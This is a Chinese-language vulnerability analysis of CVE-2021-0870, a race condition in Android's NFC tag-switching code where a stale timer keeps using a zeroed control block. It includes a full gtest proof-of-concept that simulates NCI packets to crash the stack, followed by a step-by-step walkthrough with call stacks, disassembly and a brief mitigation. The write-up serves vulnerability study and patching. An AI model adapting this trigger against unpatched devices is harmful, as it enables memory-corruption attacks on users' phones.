NFC在人們的日常生活中扮演了重要角色,已經(jīng)成為移動(dòng)設(shè)備不可或缺的組件,NFC和藍(lán)牙類似,都是利用無線射頻技術(shù)來實(shí)現(xiàn)設(shè)備之間的通信.因此芯片固件和主機(jī)NFC子系統(tǒng)都是遠(yuǎn)程代碼執(zhí)行(RCE)攻擊的目標(biāo)。
CVE-2021-0870是一枚NFC中的RCE高危漏洞,2021年10月漏洞通告中顯示已被修復(fù)http://source.android.com/security/bulletin/2021-10-01 。漏洞成因是RW_SetActivatedTagType 可以通過將NFC的TCB(tag control block)置零的方式實(shí)現(xiàn)在不同tag之間切換,TCB所在的內(nèi)存區(qū)域是固定不變的,這塊內(nèi)存被不同tag復(fù)用。當(dāng)TCB被置零后即表示上一狀態(tài)已被禁用.但是新tag激活后,上一個(gè)狀態(tài)的超時(shí)檢測定時(shí)器仍然在工作,并且仍然引用TCB里的數(shù)據(jù)和指針,然而此時(shí)TCB已經(jīng)被置零.隨后新狀態(tài)啟動(dòng)自己的定時(shí)器重寫TCB中相應(yīng)偏移的數(shù)據(jù)時(shí),會(huì)產(chǎn)生條件競爭。
NFC技術(shù)框架
NFC的三種運(yùn)行模式
Reader/Write模式:簡稱R/W 和NFC Tag/NFC reader有關(guān)
Peer-to-Peer模式:簡稱P2P 它支持兩個(gè)NFC設(shè)備進(jìn)行交互
NFC Card Emulation(CE) : 他能把NFC功能的設(shè)備模擬成智能卡,這樣就可以實(shí)現(xiàn)手機(jī)支付/門禁卡功能
漏洞存在于Reader/Write模式(R/W)

Reader/Write模式
NFC Tag/NFC reader是NFC系統(tǒng)RFID中的兩個(gè)重要的組件,其中Tag是一種用于存儲(chǔ)數(shù)據(jù)的被動(dòng)式RFID tag,它自身不包含電源,而是依賴其他組件,如NFC reader通過線圈里的電磁感應(yīng)給他供電,然后通過某些射頻通信協(xié)議來存取NFC tag里的數(shù)據(jù)。
NFC Forum 定義了兩個(gè)數(shù)據(jù)結(jié)構(gòu)用于設(shè)備間的通信(不僅僅是設(shè)備之間,也包括R/W模式種的NFC Reader和NFC Tag之間交互數(shù)據(jù)) ,分別是NDEF和NFC Record。
R/W模式下使用NDEF數(shù)據(jù)結(jié)構(gòu)通信時(shí),NFC設(shè)備的每一次數(shù)據(jù)交互都會(huì)被封裝在一個(gè)NDEF Message中,一個(gè)Message包括多個(gè)NFC RecordMessage 的數(shù)據(jù)結(jié)構(gòu)如下,它是多個(gè)record組合而成。

單個(gè)record的結(jié)構(gòu)如下:

本文不對詳細(xì)的數(shù)據(jù)結(jié)構(gòu)的各個(gè)字段做出解釋
漏洞存在于使用NDEF數(shù)據(jù)包通信的過程中
Tag
NFC Forum 定義了4種tag,分別為Type1,2,3,4 。他們之間的區(qū)別在于占用存儲(chǔ)空間的大小和使用底層協(xié)議不同.但能被NFC Reader和NFC Tag 讀寫的tag類型遠(yuǎn)多于4種,Android Java層提供了”android.nfc.tech”包用來處理不同類型的tag,下表列出了該包里的幾個(gè)類,這些類分別處理不同類型的tag。例如,NDEF 是用來處理Type1-4的類,
IsoDep | Provides access to ISO-DEP (ISO 14443-4) properties and I/O operations on a Tag. |
---|
MifareClassic | Provides access to MIFARE Classic properties and I/O operations on a Tag. |
MifareUltralight | Provides access to MIFARE Ultralight properties and I/O operations on a Tag. |
Ndef | Provides access to NDEF content and operations on a Tag. |
NdefFormatable | Provide access to NDEF format operations on a Tag. |
NfcA | Provides access to NFC-A (ISO 14443-3A) properties and I/O operations on a Tag. |
NfcB | Provides access to NFC-B (ISO 14443-3B) properties and I/O operations on a Tag. |
NfcBarcode | Provides access to tags containing just a barcode. |
NfcF | Provides access to NFC-F (JIS 6319-4) properties and I/O operations on a Tag. |
NfcV | Provides access to NFC-V (ISO 15693) properties and I/O operations on a Tag. |
漏洞代碼中出現(xiàn)的T1T,T2T…TT,I93,是R/W模式下,探測,讀寫NDEF數(shù)據(jù)包的具體實(shí)現(xiàn)方法,是一種的技術(shù)標(biāo)準(zhǔn).比如I93是基于 ISO 15693 的實(shí)現(xiàn)方法,T1T基于NFC-A , 也就是ISO 14443-3A。
漏洞分析
poc代碼
基于Google的測試框架gtest編寫了一個(gè)集成測試文件,TEST函數(shù)是測視例的main函數(shù),自動(dòng)化測試框架從TEST調(diào)用poc代碼:
TEST(NfcIntegrationTest, test_mifare_state_bug) { CallbackTracker tracker; g_callback_tracker = &tracker; NfcAdaptation& theInstance = NfcAdaptation::GetInstance(); theInstance.Initialize(); NFA_Init(&entry_funcs); NFA_Enable(nfa_dm_callback, nfa_conn_callback); usleep(5000); std::vector<uint8_t> reset_core = {0x1, 0x29, 0x20}; g_callback_tracker->SimulatePacketArrival( NCI_MT_NTF, 0, NCI_GID_CORE, NCI_MSG_CORE_RESET, reset_core.data(), reset_core.size()); { std::unique_lock<std::mutex> reset_done_lock(cv_mutex); reset_done_cv.wait(reset_done_lock); } NFA_EnableListening(); NFA_EnablePolling(NFA_TECHNOLOGY_MASK_F | NFA_TECHNOLOGY_MASK_V); NFA_EnableDtamode(NFA_DTA_DEFAULT_MODE); NFA_StartRfDiscovery(); { std::unique_lock<std::mutex> enable_lock(cv_mutex); enable_cv.wait(enable_lock); } std::vector<uint8_t> init_core = {0x0, 0xa, 0x3, 0xca, 0xff, 0xff, 0xff, 0xff, 0x2, 0xe0, 0xe0, 0xe0, 0xe0, 0xe0}; g_callback_tracker->SimulatePacketArrival(NCI_MT_RSP, 0, NCI_GID_CORE, NCI_MSG_CORE_INIT, init_core.data(), init_core.size()); g_callback_tracker->SimulateHALEvent(HAL_NFC_POST_INIT_CPLT_EVT, HAL_NFC_STATUS_OK); { std::unique_lock<std::mutex> nfa_enable_lock(cv_mutex); nfa_enable_cv.wait(nfa_enable_lock); } std::vector<uint8_t> discover_rf = {0x0}; g_callback_tracker->SimulatePacketArrival( NCI_MT_RSP, 0, NCI_GID_RF_MANAGE, NCI_MSG_RF_DISCOVER, discover_rf.data(), discover_rf.size()); { std::unique_lock<std::mutex> rf_discovery_started_lock(cv_mutex); rf_discovery_started_cv.wait(rf_discovery_started_lock); } std::vector<uint8_t> activate_rf = {/* disc_id */0x0, NFC_DISCOVERY_TYPE_POLL_V, static_cast<uint8_t>(NFC_PROTOCOL_T5T)}; for (int i = 0; i < 27; i++) { activate_rf.push_back(0x6); } g_callback_tracker->SimulatePacketArrival( NCI_MT_NTF, 0, NCI_GID_RF_MANAGE, NCI_MSG_RF_INTF_ACTIVATED, activate_rf.data(), activate_rf.size()); { std::unique_lock<std::mutex> activated_lock(cv_mutex); activated_cv.wait(activated_lock); } NFA_RwReadNDef(); { std::unique_lock<std::mutex> i93_detect_lock(cv_mutex); i93_detect_cv.wait(i93_detect_lock); } g_callback_tracker->SimulatePacketArrival( NCI_MT_NTF, 0, NCI_GID_CORE, NCI_MSG_CORE_RESET, reset_core.data(), reset_core.size()); std::vector<uint8_t> deactivate_rf = {NFA_DEACTIVATE_TYPE_DISCOVERY, 0x1}; g_callback_tracker->SimulatePacketArrival( NCI_MT_NTF, 0, NCI_GID_RF_MANAGE, NCI_MSG_RF_DEACTIVATE, deactivate_rf.data(), deactivate_rf.size()); { std::unique_lock<std::mutex> deactivated_lock(cv_mutex); deactivated_cv.wait(deactivated_lock); } std::vector<uint8_t> activate_another_rf = { /* disc_id */0x0, NFC_DISCOVERY_TYPE_LISTEN_F, NFC_PROTOCOL_T3T}; for (int i = 0; i < 70; i++) { activate_another_rf.push_back(0x2); } g_callback_tracker->SimulatePacketArrival( NCI_MT_NTF, 0, NCI_GID_RF_MANAGE, NCI_MSG_RF_INTF_ACTIVATED, activate_another_rf.data(), activate_another_rf.size()); { std::unique_lock<std::mutex> t3t_get_system_codes_lock(cv_mutex); t3t_get_system_codes_cv.wait(t3t_get_system_codes_lock); } NFA_Disable(true); { std::unique_lock<std::mutex> nfa_disable_lock(cv_mutex); nfa_disable_cv.wait(nfa_disable_lock); }}
poc思路大致步驟為,先讓系統(tǒng)處于i93模式,發(fā)送讀數(shù)據(jù)請求后迅速將系統(tǒng)從i93切換到t3t,系統(tǒng)程序出現(xiàn)崩潰。
接下來把poc拆成幾個(gè)部分逐一分析。
part1
第一部分代碼是 :
CallbackTracker tracker; g_callback_tracker = &tracker; NfcAdaptation& theInstance = NfcAdaptation::GetInstance(); theInstance.Initialize(); NFA_Init(&entry_funcs); NFA_Enable(nfa_dm_callback, nfa_conn_callback); usleep(5000);
NFA_Init(&entry_funcs)用于初始化NFA的控制塊.控制塊的作用類似Windows中的PEB結(jié)構(gòu)體。
NFC允許用戶在應(yīng)用層注冊NFC芯片硬件抽象層(HAL)的回調(diào)函數(shù),poc中定義了一個(gè)entry_funcs回調(diào)函數(shù)表,通過NFA_Init中的NFC_Init函數(shù)將entry_funcs回調(diào)函數(shù)表注冊到HAL層.直到NFC被禁用前這個(gè)函數(shù)指針數(shù)組都不會(huì)被釋放.entry_funcs如下:
tHAL_NFC_ENTRY entry_funcs = { .open = FakeOpen, .close = FakeClose, .core_initialized = FakeCoreInitialized, .write = FakeWrite, .prediscover = FakePrediscover, .control_granted = FakeControlGranted,};
和在內(nèi)核模塊中給設(shè)備設(shè)置回調(diào)函數(shù)相似,entry_funcs相當(dāng)于file_operation結(jié)構(gòu)體。
entry_funcs里用很多Fake開頭的回調(diào)函數(shù)重載了默認(rèn)函數(shù),然后把他塞進(jìn)CallbackTracker這個(gè)類,這樣做的好處是:
1.函數(shù)重載可以對系統(tǒng)默認(rèn)的回調(diào)函數(shù)進(jìn)行二次包裝,實(shí)現(xiàn)Hook功能.比如后面會(huì)看到,加入了線程同步的功能。
2.只通過一個(gè)自定義的類實(shí)現(xiàn)所有函數(shù)的調(diào)用.讓代碼結(jié)構(gòu)更加整潔。
接著調(diào)用NFA_Enable,他調(diào)用的幾個(gè)關(guān)鍵函數(shù)是:
NFA_Enable->nfa_sys_sendmsg -> GKI_send_msg -> GKI_send_event -> pthread_cond_signal 。
NFA(NFC For Android)是安卓系統(tǒng)中NFC的實(shí)現(xiàn)。NFA_Enable用來使能安卓NFC,調(diào)用它時(shí)NFCC必須已經(jīng)上電,該函數(shù)啟動(dòng)了NFC關(guān)鍵的幾個(gè)任務(wù),打開了NCI的傳輸渠道,重置了NFC 控制器,初始化整個(gè)NFC系統(tǒng),他是初始化最重要的函數(shù),一般只在系統(tǒng)啟動(dòng)時(shí)調(diào)用一次,這里我們再次調(diào)用來生成一個(gè)獨(dú)立于系統(tǒng)NFC的單獨(dú)的NFC實(shí)驗(yàn)環(huán)境。
nfa_sys_sendmsg函數(shù)用來發(fā)送GKI (General Kernel Interface)消息,
GKI_send_event將event從一個(gè)task發(fā)送給另一個(gè)task。任務(wù)之間使用event數(shù)據(jù)結(jié)構(gòu)的數(shù)據(jù)包,經(jīng)安卓的HwBinder進(jìn)行消息傳遞.Hwbinder是谷歌專門為供應(yīng)商設(shè)計(jì)的進(jìn)程間通信框架,獨(dú)立于安卓系統(tǒng)的binder存在,是從8.0以后引入的新機(jī)制。
NFA_Enable執(zhí)行完后,除了測試框架調(diào)用Test的主線程外,進(jìn)程中會(huì)多出兩個(gè)線程,這兩個(gè)線程就是兩個(gè)task,可近似理解為一個(gè)是NFCC,另一個(gè)充當(dāng)客戶端,這兩個(gè)線程之間互相發(fā)數(shù)據(jù)包交互.作為服務(wù)端的task維護(hù)了一個(gè)命令隊(duì)列,里面存放要被執(zhí)行的命令,通過nfc_ncif_check_cmd_queue去檢查隊(duì)列里有沒有命令,如果有就去執(zhí)行.nfc_task是這個(gè)事件處理消息的主循環(huán).環(huán)解析命令事件并執(zhí)行相應(yīng)的回調(diào)函數(shù).代碼如下, 前一個(gè)if半部分負(fù)責(zé)處理初始化,后一個(gè)if是主循環(huán)
uint32_t nfc_task(__attribute__((unused)) uint32_t arg) {... /* main loop */while (true) { event = GKI_wait(0xFFFF, 0);... /* Handle NFC_TASK_EVT_TRANSPORT_READY from NFC HAL */if (event & NFC_TASK_EVT_TRANSPORT_READY) {... nfc_set_state(NFC_STATE_CORE_INIT); nci_snd_core_reset(NCI_RESET_TYPE_RESET_CFG); } if (event & NFC_MBOX_EVT_MASK) { /* Process all incoming NCI messages */while ((p_msg = (NFC_HDR*)GKI_read_mbox(NFC_MBOX_ID)) != nullptr) { free_buf = true; /* Determine the input message type. */switch (p_msg->event & NFC_EVT_MASK) { case BT_EVT_TO_NFC_NCI: free_buf = nfc_ncif_process_event(p_msg); break; case BT_EVT_TO_START_TIMER: /* Start nfc_task 1-sec resolution timer */ GKI_start_timer(NFC_TIMER_ID, GKI_SECS_TO_TICKS(1), true); break; case BT_EVT_TO_START_QUICK_TIMER: /* Quick-timer is required for LLCP */ GKI_start_timer( NFC_QUICK_TIMER_ID, ((GKI_SECS_TO_TICKS(1) / QUICK_TIMER_TICKS_PER_SEC)), true); break; case BT_EVT_TO_NFC_MSGS: nfc_main_handle_hal_evt((tNFC_HAL_EVT_MSG*)p_msg); break; default: DLOG_IF(INFO, nfc_debug_enabled) << StringPrintf( "nfc_task: unhandle mbox message, event=%04x", p_msg->event); break; } if (free_buf) { GKI_freebuf(p_msg); } } }...}
part2
第二部分代碼如下所示:
std::vector<uint8_t> reset_core = {0x1, 0x29, 0x20}; g_callback_tracker->SimulatePacketArrival( NCI_MT_NTF, 0, NCI_GID_CORE, NCI_MSG_CORE_RESET, reset_core.data(), reset_core.size()); { std::unique_lock<std::mutex> reset_done_lock(cv_mutex); reset_done_cv.wait(reset_done_lock); }
SimulatePacketArrival是poc調(diào)用頻率最高的函數(shù),模擬了從task之間數(shù)據(jù)交互的過程 。
task之間使用NCI數(shù)據(jù)包通信,NCI數(shù)據(jù)包的格式簡要概述為
頭部,共3字節(jié)
/* NCI Command and Notification Format: * 3 byte message header: * byte 0: MT PBF GID * byte 1: OID * byte 2: Message Length */ /* MT: Message Type (byte 0) */
頭部后面跟實(shí)際數(shù)據(jù),如下所示

SimulatePacketArrival如何構(gòu)造數(shù)據(jù)包呢? 以它第一次被調(diào)用為例
SimulatePacketArrival(NCI_MT_NTF, 0, NCI_GID_CORE, NCI_MSG_CORE_RESET, reset_core.data(),reset_core.size())
對比他的函數(shù)原型
voidSimulatePacketArrival(uint8_t mt, uint8_t pbf, uint8_t gid,uint8_t opcode, uint8_t* data, size_t size)
可知mt->NCI_MT_NTF , pbf-> 0 , gid->NCI_GID_CORE , opcode->NCI_MSG_CORE_RESET , data->reset_core.data() , size->reset_core.size() , std::vector<uint8_t> reset_core -> {0x1, 0x29, 0x20};
先構(gòu)造前三個(gè)Octect組成頭部,然后在末尾插入數(shù)據(jù)
std::vector<uint8_t> buffer(3); buffer[0] = (mt << NCI_MT_SHIFT) | (pbf << NCI_PBF_SHIFT) | gid;//第一個(gè)8位, buffer[1] = (mt == NCI_MT_DATA) ? 0 : opcode;//第二個(gè)8位 buffer[2] = static_cast<uint8_t>(size);//第三個(gè)8位 buffer.insert(buffer.end(), data, data + size);//尾部附加的實(shí)際數(shù)據(jù)是{0x1, 0x29, 0x20} data_callback_(buffer.size(), buffer.data());
接著調(diào)用datacallback函數(shù)發(fā)送數(shù)據(jù)給另一個(gè)task。
每一次SimulatePacketArrival調(diào)用后面都有一個(gè)代碼塊,例如
{ std::unique_lock<std::mutex> reset_done_lock(cv_mutex); reset_done_cv.wait(reset_done_lock); }
reset_done_cv是一個(gè)條件變量,條件變量是C++11引入的一種同步機(jī)制.調(diào)用reset_done_cv.wait時(shí)會(huì)將線程掛起,直到其他線程調(diào)用notify是才解除阻塞繼續(xù)執(zhí)行。合理運(yùn)用條件變量可以實(shí)現(xiàn)不同線程之間的同步。
比如reset_done_cv解除阻塞的時(shí)機(jī)是在調(diào)用FakeWrite的時(shí)候,調(diào)用棧是:
(gdb) bt#00x000000555558b804in FakeWrite(unsignedshort, unsignedchar*)()#1 0x0000007fb63ba7fc in nfc_ncif_check_cmd_queue(p_buf=0x7300007fb644f440) at system/nfc/src/nfc/nfc/nfc_ncif.cc:337#2 0x0000007fb63bb7cc in nfc_ncif_send_cmd(p_buf=<optimized out>) at system/nfc/src/nfc/nfc/nfc_ncif.cc:402#3 0x0000007fb63ae370 in nci_snd_core_init(nci_version=32' ') at system/nfc/src/nfc/nci/nci_hmsgs.cc:94#4 0x0000007fb63c1f44 in nfc_ncif_proc_reset_rsp(p=<optimized out>, is_ntf=<optimized out>) at system/nfc/src/nfc/nfc/nfc_ncif.cc:1741#5 0x0000007fb63b00c8 in nci_proc_core_ntf(p_msg=<optimized out>) at system/nfc/src/nfc/nci/nci_hrcv.cc:135#6 0x0000007fb63bc1b8 in nfc_ncif_process_event(p_msg=<optimized out>) at system/nfc/src/nfc/nfc/nfc_ncif.cc:505#7 0x0000007fb63c3df4 in nfc_task(arg=<optimized out>) at system/nfc/src/nfc/nfc/nfc_task.cc:378#8 0x0000007fb6436758 in gki_task_entry(params=<optimized out>) at system/nfc/src/gki/ulinux/gki_ulinux.cc:96#9 0x0000007fb5cfe9b8 in __pthread_start(arg=0x7f31d23cc0) at bionic/libc/bionic/pthread_create.cpp:347...
nfc_ncif_check_cmd_queue函數(shù)會(huì)調(diào)用HAL_WRITE(p_buf)函數(shù)發(fā)數(shù)據(jù)給HAL.雖然從調(diào)用?床怀鯢akeWrite實(shí)際就是HAL_WRITE.但我們之前重載了 HAL_WRITE的函數(shù)指針?biāo)訦AL_WRITE實(shí)際就是FakeWrite 。
voidFakeWrite(uint16_t data_len, uint8_t* p_data){ uint8_t reset_pattern[5] = {0x20, 0x1, 0x2, 0x0, 0x0}; if (data_len == 5 && !memcmp(reset_pattern, p_data, data_len)) { reset_done_cv.notify_one(); } uint8_t i93_detect_pattern[6] = {0x0, 0x0, 0x3, 0x26, 0x1, 0x0}; if (data_len == 6 && !memcmp(i93_detect_pattern, p_data, data_len)) { i93_detect_cv.notify_one(); } uint8_t t3t_get_system_codes_pattern[7] = {0x21, 0x8, 0x4, 0xff, 0xff, 0x1, 0xf}; if (data_len == 7 && !memcmp(t3t_get_system_codes_pattern, p_data, data_len)) { t3t_get_system_codes_cv.notify_one(); }}
因?yàn)閷懭隢FC需要被頻繁調(diào)用,必須判斷到來的數(shù)據(jù)包是否符合要求才能執(zhí)行對應(yīng)的操作,所以第一個(gè)if中判斷
if (data_len == 5 && !memcmp(reset_pattern, p_data, data_len))
符合條件就會(huì)解除調(diào)用reset_done_cv.notify_one()阻塞.這里重載HAL函數(shù)指針的優(yōu)勢就顯現(xiàn)出來了.FakeWrite 函數(shù)除了向HAL發(fā)送/寫入數(shù)據(jù)之外,還增加了解除poc中各種條件變量阻塞的功能方便了在競態(tài)漏洞利用中進(jìn)行時(shí)序同步 。
part3
代碼是:
NFA_EnableListening(); NFA_EnablePolling(NFA_TECHNOLOGY_MASK_F | NFA_TECHNOLOGY_MASK_V); NFA_EnableDtamode(NFA_DTA_DEFAULT_MODE); NFA_StartRfDiscovery(); { std::unique_lock<std::mutex> enable_lock(cv_mutex); enable_cv.wait(enable_lock); } std::vector<uint8_t> init_core = {0x0, 0xa, 0x3, 0xca, 0xff, 0xff, 0xff, 0xff, 0x2, 0xe0, 0xe0, 0xe0, 0xe0, 0xe0}; g_callback_tracker->SimulatePacketArrival(NCI_MT_RSP, 0, NCI_GID_CORE, NCI_MSG_CORE_INIT, init_core.data(), init_core.size()); g_callback_tracker->SimulateHALEvent(HAL_NFC_POST_INIT_CPLT_EVT, HAL_NFC_STATUS_OK); { std::unique_lock<std::mutex> nfa_enable_lock(cv_mutex); nfa_enable_cv.wait(nfa_enable_lock); } std::vector<uint8_t> discover_rf = {0x0}; g_callback_tracker->SimulatePacketArrival( NCI_MT_RSP, 0, NCI_GID_RF_MANAGE, NCI_MSG_RF_DISCOVER, discover_rf.data(), discover_rf.size()); { std::unique_lock<std::mutex> rf_discovery_started_lock(cv_mutex); rf_discovery_started_cv.wait(rf_discovery_started_lock); }
將NFC開啟,并進(jìn)入discovery模式。
part4
代碼是:
NFA_RwReadNDef();{ std::unique_lock<std::mutex> i93_detect_lock(cv_mutex); i93_detect_cv.wait(i93_detect_lock);}
NFA_RwReadNDef()會(huì)讀取I93 tag里的數(shù)據(jù),此時(shí)定時(shí)器開始啟動(dòng)用于檢測是否超時(shí),
下面是I93收到讀請求后定時(shí)器被啟動(dòng)的調(diào)用棧:
#0 nfc_start_quick_timer (p_tle=<optimized out>, type=<optimized out>, timeout=<optimized out>) at ../src/nfc/nfc/nfc_task.cc:190#1 0x00000000005f8874 in rw_i93_send_to_lower (p_msg=<optimized out>) at ../src/nfc/tags/rw_i93.cc:680#2 0x00000000005f916d in rw_i93_send_cmd_inventory (p_uid=<optimized out>, including_afi=<optimized out>, afi=<optimized out>) at ../src/nfc/tags/rw_i93.cc:740#3 0x0000000000618f82 in RW_I93DetectNDef () at ../src/nfc/tags/rw_i93.cc:3985#4 0x0000000000720e2e in nfa_rw_start_ndef_detection () at ../src/nfa/rw/nfa_rw_act.cc:1557#5 0x000000000071a76e in nfa_rw_read_ndef () at ../src/nfa/rw/nfa_rw_act.cc:1737#6 nfa_rw_handle_op_req (p_data=<optimized out>) at ../src/nfa/rw/nfa_rw_act.cc:2863#7 0x000000000070b144 in nfa_rw_handle_event (p_msg=<optimized out>) at ../src/nfa/rw/nfa_rw_main.cc:246#8 0x0000000000721df0 in nfa_sys_event (p_msg=<optimized out>) at ../src/nfa/sys/nfa_sys_main.cc:85
part5
代碼是:
g_callback_tracker->SimulatePacketArrival( NCI_MT_NTF, 0, NCI_GID_CORE, NCI_MSG_CORE_RESET, reset_core.data(), reset_core.size()); std::vector<uint8_t> deactivate_rf = {NFA_DEACTIVATE_TYPE_DISCOVERY, 0x1}; g_callback_tracker->SimulatePacketArrival( NCI_MT_NTF, 0, NCI_GID_RF_MANAGE, NCI_MSG_RF_DEACTIVATE, deactivate_rf.data(), deactivate_rf.size()); { std::unique_lock<std::mutex> deactivated_lock(cv_mutex); deactivated_cv.wait(deactivated_lock); }
這段代碼關(guān)閉了NFC,目的是從i93順利切換到T3T 。
part 6
std::vector<uint8_t> activate_another_rf = { /* disc_id */0x0, NFC_DISCOVERY_TYPE_LISTEN_F, NFC_PROTOCOL_T3T}; for (int i = 0; i < 70; i++) { activate_another_rf.push_back(0x2); } g_callback_tracker->SimulatePacketArrival( NCI_MT_NTF, 0, NCI_GID_RF_MANAGE, NCI_MSG_RF_INTF_ACTIVATED, activate_another_rf.data(), activate_another_rf.size()); { std::unique_lock<std::mutex> t3t_get_system_codes_lock(cv_mutex); t3t_get_system_codes_cv.wait(t3t_get_system_codes_lock); } NFA_Disable(true); { std::unique_lock<std::mutex> nfa_disable_lock(cv_mutex); nfa_disable_cv.wait(nfa_disable_lock); }
part5中從I93 tag中讀取了數(shù)據(jù),并且啟動(dòng)定時(shí)器,我們必須在定時(shí)器過期前立即調(diào)用RW_SetActivatedTagType通知NFCC終止立即I93 Tag,并激活T3T Tag。
g_callback_tracker->SimulatePacketArrival(NCI_MT_NTF,0,NCI_GID_RF_MANAGE,NCI_MSG_RF_INTF_ACTIVATED,activate_another_rf.data(),activate_another_rf.size());
就調(diào)用了RW_SetActivatedTagType ,
RW_SetActivatedTagType 代碼為:
tNFC_STATUS RW_SetActivatedTagType(tNFC_ACTIVATE_DEVT* p_activate_params,tRW_CBACK* p_cback){ ... memset(&rw_cb.tcb, 0, sizeof(tRW_TCB)); ...
原來從一個(gè)狀態(tài)切換到另一個(gè)狀態(tài)的方法是調(diào)用memset(&rw_cb.tcb, 0, sizeof(tRW_TCB))將TCB控制塊全部置零清空,雖然看起來沒錯(cuò),但是把控制塊清空并不等價(jià)于將上個(gè)狀態(tài)的上下文被全部重置,他忽略了I93tag之前啟動(dòng)的定時(shí)器此時(shí)仍在工作,但新的tag也會(huì)啟動(dòng)自己的定時(shí)器,并改寫TCB中相同偏移的數(shù)據(jù)。
TCB是被復(fù)用的,我們使用memset而非free,說明狀態(tài)切換后,這塊內(nèi)存仍然存放的是TCB,所以此時(shí)系統(tǒng)里會(huì)出現(xiàn)兩個(gè)定時(shí)器改寫同一地址的情景。
以下是T3T tag下定時(shí)器向TCB中寫入數(shù)據(jù)時(shí)代碼:
2367 *p_b = rw_t3t_mrti_base[e] * b; /* (B+1) * base (i.e T/t3t * 4^E) */
匯編是:
1: x/5i $pc=> 0x5de2a3 <_Z13rw_t3t_selectPhhh+787>: mov %r12d,%eax 0x5de2a6 <_Z13rw_t3t_selectPhhh+790>: shr $0x6,%al 0x5de2a9 <_Z13rw_t3t_selectPhhh+793>: movzbl %al,%eax 0x5de2ac <_Z13rw_t3t_selectPhhh+796>: lea 0x813de0(,%rax,4),%rdi 0x5de2b4 <_Z13rw_t3t_selectPhhh+804>: mov %rdi,%rax
調(diào)用棧是:
#0 rw_t3t_select (peer_nfcid2=<optimized out>, mrti_check=<optimized out>, mrti_update=<optimized out>) at ../src/nfc/tags/rw_t3t.cc:2393#1 0x000000000067ab9b in RW_SetActivatedTagType (p_activate_params=<optimized out>, p_cback=<optimized out>) at ../src/nfc/tags/rw_main.cc:290#2 0x00000000007153fd in nfa_rw_activate_ntf (p_data=<optimized out>) at ../src/nfa/rw/nfa_rw_act.cc:2630#3 0x000000000070b144 in nfa_rw_handle_event (p_msg=<optimized out>) at ../src/nfa/rw/nfa_rw_main.cc:246#4 0x000000000070a710 in nfa_rw_proc_disc_evt (event=1 '\001', p_data=<optimized out>, excl_rf_not_active=<optimized out>) at ../src/nfa/rw/nfa_rw_main.cc:184#5 0x00000000006b243d in nfa_dm_poll_disc_cback (event=<optimized out>, p_data=<optimized out>) at ../src/nfa/dm/nfa_dm_act.cc:1636#6 0x00000000006a397d in nfa_dm_disc_notify_activation (p_data=<optimized out>) at ../src/nfa/dm/nfa_dm_discover.cc:1238#7 0x0000000000697105 in nfa_dm_disc_sm_discovery (event=<optimized out>, p_data=0x7fff715200e0) at ../src/nfa/dm/nfa_dm_discover.cc:1918
崩潰現(xiàn)場
i93定時(shí)器仍存在于定時(shí)器鏈表中,t3t被激活后里面的數(shù)據(jù)被t3t定時(shí)器破壞.當(dāng)t3t定時(shí)器也被插入鏈表頭部時(shí)會(huì)產(chǎn)生段錯(cuò)誤。
崩潰現(xiàn)場:
對應(yīng)的源代碼是while那行
/* Find the entry that the new one needs to be inserted in front of */ p_temp = p_timer_listq->p_first;=>> while (p_tle->ticks > p_temp->ticks) { /* Update the tick value if looking at an unexpired entry */if (p_temp->ticks > 0) p_tle->ticks -= p_temp->ticks; p_temp = p_temp->p_next; }
下面這個(gè)調(diào)用棧并非poc的而是漏洞被發(fā)現(xiàn)時(shí)的,放在這僅供參考。
(rr) bt#0 0x000000000075b6fd in GKI_add_to_timer_list (p_timer_listq=<optimized out>, p_tle=0x1221dd8 <rw_cb+88>, p_tle@entry=0x7fff71517140) at ../fuzzer/gki_fuzz_fakes.cc:153#1 0x000000000059d1ce in nfc_start_quick_timer (p_tle=<optimized out>, type=<optimized out>, timeout=<optimized out>) at ../src/nfc/nfc/nfc_task.cc:216#2 0x00000000005e3c68 in rw_t3t_start_poll_timer (p_cb=<optimized out>) at ../src/nfc/tags/rw_t3t.cc:333#3 RW_T3tGetSystemCodes () at ../src/nfc/tags/rw_t3t.cc:2964#4 0x0000000000719a40 in nfa_rw_t3t_get_system_codes () at ../src/nfa/rw/nfa_rw_act.cc:2331#5 nfa_rw_handle_op_req (p_data=<optimized out>) at ../src/nfa/rw/nfa_rw_act.cc:2971#6 0x000000000071585d in nfa_rw_activate_ntf (p_data=<optimized out>) at ../src/nfa/rw/nfa_rw_act.cc:2677#7 0x000000000070b144 in nfa_rw_handle_event (p_msg=<optimized out>) at ../src/nfa/rw/nfa_rw_main.cc:246#8 0x000000000070a710 in nfa_rw_proc_disc_evt (event=1 '\001', p_data=<optimized out>, excl_rf_not_active=<optimized out>) at ../src/nfa/rw/nfa_rw_main.cc:184#9 0x00000000006b243d in nfa_dm_poll_disc_cback (event=<optimized out>, p_data=<optimized out>) at ../src/nfa/dm/nfa_dm_act.cc:1636#10 0x00000000006a397d in nfa_dm_disc_notify_activation (p_data=<optimized out>) at ../src/nfa/dm/nfa_dm_discover.cc:1238#11 0x0000000000697105 in nfa_dm_disc_sm_discovery (event=<optimized out>, p_data=0x7fff715200e0) at ../src/nfa/dm/nfa_dm_discover.cc:1918#12 nfa_dm_disc_sm_execute (event=<optimized out>, p_data=<optimized out>) at ../src/nfa/dm/nfa_dm_discover.cc:2533#13 0x000000000068f601 in nfa_dm_disc_discovery_cback (event=<optimized out>, p_data=<optimized out>) at ../src/nfa/dm/nfa_dm_discover.cc:727#14 0x00000000005b0a92 in nfc_ncif_proc_activate (p=<optimized out>, len=60 '<') at ../src/nfc/nfc/nfc_ncif.cc:1372#15 0x00000000005c50c9 in nci_proc_rf_management_ntf (p_msg=0x617000003180) at ../src/nfc/nci/nci_hrcv.cc:276#16 0x00000000005a2e6b in nfc_ncif_process_event (p_msg=0x617000003180) at ../src/nfc/nfc/nfc_ncif.cc:485
漏洞緩解措施
只要在切換到下一個(gè)tag之前,將上一個(gè)tag的定時(shí)器關(guān)閉即可。
